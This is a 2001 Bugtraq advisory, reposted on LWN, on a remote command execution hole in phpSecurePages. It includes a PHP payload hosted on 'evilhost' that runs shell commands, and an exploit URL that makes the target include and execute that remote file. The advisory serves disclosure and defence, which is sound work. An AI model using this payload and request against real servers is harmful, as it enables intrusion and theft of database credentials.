[LWN Logo]
[LWN.net]
From:	 "Shaun Clowes" <shaun@securereality.com.au>
To:	 <bugtraq@securityfocus.com>
Subject: (SRADV00009) Remote command execution vulnerabilities in phpSecurePages
Date:	 Tue, 3 Jul 2001 00:40:34 +1000

=================================================
Secure Reality Pty Ltd. Security Advisory #9 (SRADV00009)
http://www.securereality.com.au
=================================================

[Title]
Remote command execution vulnerabilities in phpSecurePages

[Released]
2/7/2001

[Vulnerable]
Versions up to and including Beta 2.4

[Overview]
phpSecurePages is a very easy to use tool for password protecting portions
of websites on PHP enabled webservers.

In versions specified phpSecurePages makes insecure calls to the PHP
function include(). Installations of the versions specified are vulnerable
to attacks in which the attacker gains the ability to execute arbitrary
commands (and code) on the remote web server with the permissions of the web
server user, typically 'nobody'. phpSecurePages can be configured to use a
Database for authorization information, in this case the remote command
execution vulnerability can be used to read the configuration files and
disclose the database credentials therein.

[Impact]
Remote command execution (with privileges as above)
Possible disclosure of Database Credentials

[Detail]
Please note that this vulnerability was discussed in detail at the Black Hat
Briefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint
presentation notes and audio/video of the presentation will become available
at http://www.blackhat.com.

Note also that this description will be best understood (and is released in
conjunction with) our new paper "A Study In Scarlet - Exploiting Common
Vulnerabilities in PHP Applications" which can be downloaded from
http://www.securereality.com.au/archives.html

As with all the advisories released in conjunction with the paper above I'm
going to describe this problem in gross detail, from finding the hole to
exploiting it (sidestepping various annoying barriers along the way).

phpSecurePages is designed to be an easy to use way to password protect
portions of websites. In order to protect a particular web page using
phpSecurePages the administrator needs to make that page parseable by php
(usually by giving it a specific file extension, often '.php') then put on
line of PHP code into that page which looks like the following:

 <?php include("<path to phpSecurePages>/secure.php"); ?>

The include statement is used to cause PHP to read a particular file and
interpret its contents at PHP code. The above line reads in the
phpSecurePages code and executes it (when the restricted page is accessed),
the code in turn performs authentication etc.

The problem in the phpSecurePages code is spotted extremely easily with a
grep of the source. The following line of code in checklogin.php looks
dangerous:

102         include($cfgProgDir . "interface.php");

If an attacker can control the content of $cfgProgDir they can provide a
value like "http://my.evil.server.com/" and PHP's remote files functionality
will cause the phpSecurePages application to request the interface.php file
from my.evil.server.com then execute its content on the remote machine.

So first we need to understand the context of this call. The first question
to be asked is the purpose of checklogin.php in the application. Taking a
look in secure.php (remembering secure.php is the file that is included by
other pages to get phpSecurePages authentication):

 9 /****** Installation ******/
10 $cfgProgDir =  '/~shaman/phpSecurePages/';
11   // location of phpSecurePages calculated from the root of the server
12   // Example: if you installed phpSecurePages on
http://www.mydomain.com/phpSecurePages/
13   // the value would be $cfgProgDir = '/phpSecurePages/'
14 $cfgIndexpage = '/index.php';

... lots of other configuration information (language, image locations etc)
...

125 include($cfgProgDir . "lng/" . $languageFile);
126 include($cfgProgDir . "session.php");
127
128
129 // choose between login or logout
130 if ($logout && !($HTTP_GET_VARS["logout"] || $HTTP_POST_VARS["logout"]))
{
131         // logout
132         include($cfgProgDir . "logout.php");
133 } else {
134         // loading login check
135         include($cfgProgDir . "checklogin.php");
136 }
137 ?>

Basically secure.php is mostly full of configuration information for the
phpSecurePages installation. Once its set up the configuration environment
it determines if the request is to logon or logoff (on line 130) and based
on that includes either logout.php or checklogin.php. checklogin.php is
meant to be included and executed by secure.php when the request is for a
logon. This is the PHP library files concept, code is compartmentalized into
separate PHP source files which can simply be included when needed.

As discussed in 'A Study In Scarlet' the fact that files with non PHP parsed
extensions (e.g '.inc') will be returned as source when requested remotely
has caused many people to give every file a PHP parsed extension to prevent
source disclosure (particularly a problem for configuration scripts
containing database credentials etc). The problem with this is that it
allows files that are never meant to be executed except in the context of
other scripts to be executed by remote attackers in unsafe environments. If
checklogin.php is called directly it cannot rely on any of the configuration
variables, in particular an attacker may set $cfgProgDir to whatever they
wish.

A hurdle that must be overcome is knowing the location of the phpSecurePages
installation, recall that phpSecurePages can be installed anywhere in the
web directories and is simply include()d from other pages. One interesting
point is that phpSecurePages shouldn't really need to be installed in a web
accessible directory at all, PHP will happily include any file, not just one
accessible by the web server. However the application ships with, and needs
to know the location of various images it displays during the authentication
process. In order to make the installation and configuration easier the
application is just unpacked into a web directory and is configured to know
its location in the filesystem and the webpath to the directory in which it
is installed. This means that the URLs for the images displayed in the logon
process give away the location of the phpSecurePages installation, for
example:

 <IMG SRC="http://vulnserver/phpSecurePages/images/cancel.gif" ...

The attacker now knows they can request checklogin.php from
http://vulnserver/phpSecurePages/checklogin.php. To exploit the
vulnerability the attacker simply needs to point the cfgProgDir variable at
a web path they can control (a free provider would be fine) and create the
file interface.php on that webserver. Its content would be requested and
executed by the vulnerable installation of phpSecurePages. For example the
attacker might place the following content in interface.php on
http://evilhost/:

<?php
        // PHP code to be executed
        $phpcode = '
                echo("Hi there!<BR>");
                passthru("id");
        ';

        // If we were called via remote include, send the code to be
        // executed
        if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
                echo("<?php $phpcode ?>");
        else
        // Otherwise we're being executed on the target web server already,
        // so simply evaluate the code
                eval($phpcode);

        exit();
?>

(This script is designed so that the server it is placed on can be PHP
enabled and not result in the code being executed on the attacking machine)

The attacker could then make the following request to have the PHP code
above retrieved and executed:

 http://vulnhost/phpSecurePages/checklogin.php?cfgProgDir=http://evilhost/

As always with PHP there are many caveats to the attacks details in this
advisory based on PHP configuration and version. I'm not going to go into
detail on these but some to consider are listed below. Suffice to say this
is a bug and it is usually exploitable.
 - The remote web server must be able to retrieve the file, i.e no firewalls
in the way
 - The remote web server must not be running PHP under windows since remote
file includes are not supported on this platform
 - The remote web server must not have allow_url_fopen set off

[Fix]
Later versions of phpSecurePages correct this problem. Please download a
version above 1.0.5 from:
 http://www.phpsecurepages.f2s.com/

[Acknowledgements]
Our thanks to Paul Kruyt, the author of phpSecurePages for quickly
correcting this problem

[Disclaimer]
Advice, directions and instructions on security vulnerabilities in this
advisory do not constitute: an endorsement of illegal behavior; a guarantee
that protection measures will work; an endorsement of any product or
solution or recommendations on behalf of Secure Reality Pty Ltd. Content is
provided as is and Secure Reality Pty Ltd does not accept responsibility for
any damage or injury caused as a result of its use.